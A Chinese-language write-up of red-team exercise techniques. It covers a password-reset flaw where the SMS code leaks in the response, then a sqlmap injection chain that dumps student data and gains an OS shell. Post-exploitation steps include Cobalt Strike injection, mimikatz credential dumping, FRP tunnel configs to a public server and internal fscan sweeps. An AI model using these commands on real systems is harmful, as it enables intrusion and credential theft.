在壹篇中主要讲了弱口令漏洞在攻防演练中的利用，有朋友可能会觉得弱口令漏洞非常简单，为什么还要讲它呢？理由是虽然弱口令漏洞非常简单，但是在攻防演练环境下还是普遍存在的，因此针对未知系统我会优先尝试弱口令。尽管现在随着网络安全意识的普及，大部分单位或公司都使用8位以上且包含各种字符的强口令，但由于使用随机字符的强口令实在反人类，普通人根本无法记住它们，因此为了合规会设置相对好记的口令，比如哥谭市财政局，其系统口令就有可能是[email protected]，这种伪强口令其实还是属于弱口令的范畴当中，攻击者配合工具可轻易猜到它们，同时在目标未登记的老资产中也会存在一些默认口令、弱口令，当我们信息收集做的足够好时就能发现它们，从而进入应用获取权限。本文主要介绍我在攻防演练中遇到的两个实战思路，分别是逻辑漏洞和SQL注入的利用。

0x01 逻辑漏洞

在资产收集时 fofa 是一个非常不错的工具，比如针对哥谭市的攻防演练，在实在找不到其他资产的情况下，可以使用title="哥谭"搜索全部与哥谭市相关的网络资产，导出后再筛选即可发现一些与目标相关联的系统，通过以上方式成功找到如下登录界面：

通过目录扫描发现日志路径为/logfile，检查后发现用户名phtyxx以及手机号

在登录界面中选择忘记密码，输入日志中泄露的用户名

完成后输入手机号，点击发送验证码

在 BurpSuite 的历史记录下发现响应包中存在验证码

输入验证码194694后输入新密码完成密码修改，最终成功以管理员身份登录系统

0x02 SQL注入

数据库权限

在 AWVS 扫描报告里发现目标网站存在注入，验证漏洞成功

http://x.x.x.x:8010/display.asp?vkind=1%27

使用 sqlmap 查询全部数据库，成功返回多个数据库名

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" --dbs

查看当前用户为sa，即成功拿到数据库中的 DBA 权限

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" --current-user

使用--count参数可计算各个数据库中存在多少条数据，可方便我们计算数据分数

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D pdata --count

使用--tables可获取数据库中的表名，同理使用--columns可获取表中的列名

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D video --tables
sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D video -T vadmin --columns

使用--dump参数查看表中的所有数据

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" -D pdata -T students --dump

在数据库中可能会存在敏感的密码、API信息，为了方便查看可将整个数据库导出后再筛选

服务器权限

如果想要通过 MSSQL 数据库提权，最常见的方式就是开启xp_cmdshell组件，而在 sqlmap 中使用--os-shell参数默认会利用该组件获取服务器权限；假如想要执行数据库命令，可使用--sql-shell参数。

sqlmap -u "http://x.x.x.x:8010/display.asp?vkind=1" --os-shell

成功拿到服务器系统权限，同时发现其IP地址为192.168.11.2

利用 powershell 无文件落地上线CS

查看目标是否存在域环境

shell ipconfig /all

查看进程并尝试注入到其他正常系统程序当中

inject 4884 x64

执行 mimikatz 成功获取明文密码

logonpasswords

建立代理隧道

上传 FRP 客户端程序以及配置文件，相关配置文件如下：

[common]
server_addr = x.x.x.x
server_port = 7000
[http_proxy]
type = tcp
remote_port = 6000
plugin = socks5

同时在公网服务器中上传 FRP 服务端程序以及配置文件，相关配置文件如下：

[common]
bind_addr = 0.0.0.0
bind_port = 7000

在公网服务器上启动 FRP 服务端

./frps -c frps.ini

在目标主机中启动 FRP 的客户端

shell frpc.exe -c frpc.ini

代理隧道建立成功

内网扫描渗透

上传 FSCAN 针对所有私有网段进行漏洞扫描

shell fscan64.exe -h 10.0.0.0/8 -o 10_result.txt
shell fscan64.exe -h 192.168.0.0/16 -o 192_result.txt
shell fscan64.exe -h 172.16.0.0/12 -o 172_result.txt

配置 socks 代理后使用超级弱口令扫描工具扫描内网中存在的弱口令

最后根据扫描结果验证内网中存在的漏洞，提交报告拿分完事

0x03 总结

总体来说以上两个案例还是采用的常规思路，其中第一个案例中出现的逻辑漏洞为验证码缺陷，配合敏感信息泄露可达到修改用户密码的效果；第二个案例则是利用SQL注入提权获取服务器权限，建立代理后可进入内网刷分。幸运的是在攻击过程中并没遇到防护设备或防守人员的拦截，整个流程相对来说还算比较简单、流畅。只有实践才是检验真理的唯一标准，攻防演练就是一个非常不错的平台，欢迎各位大佬交流相关的心得体会。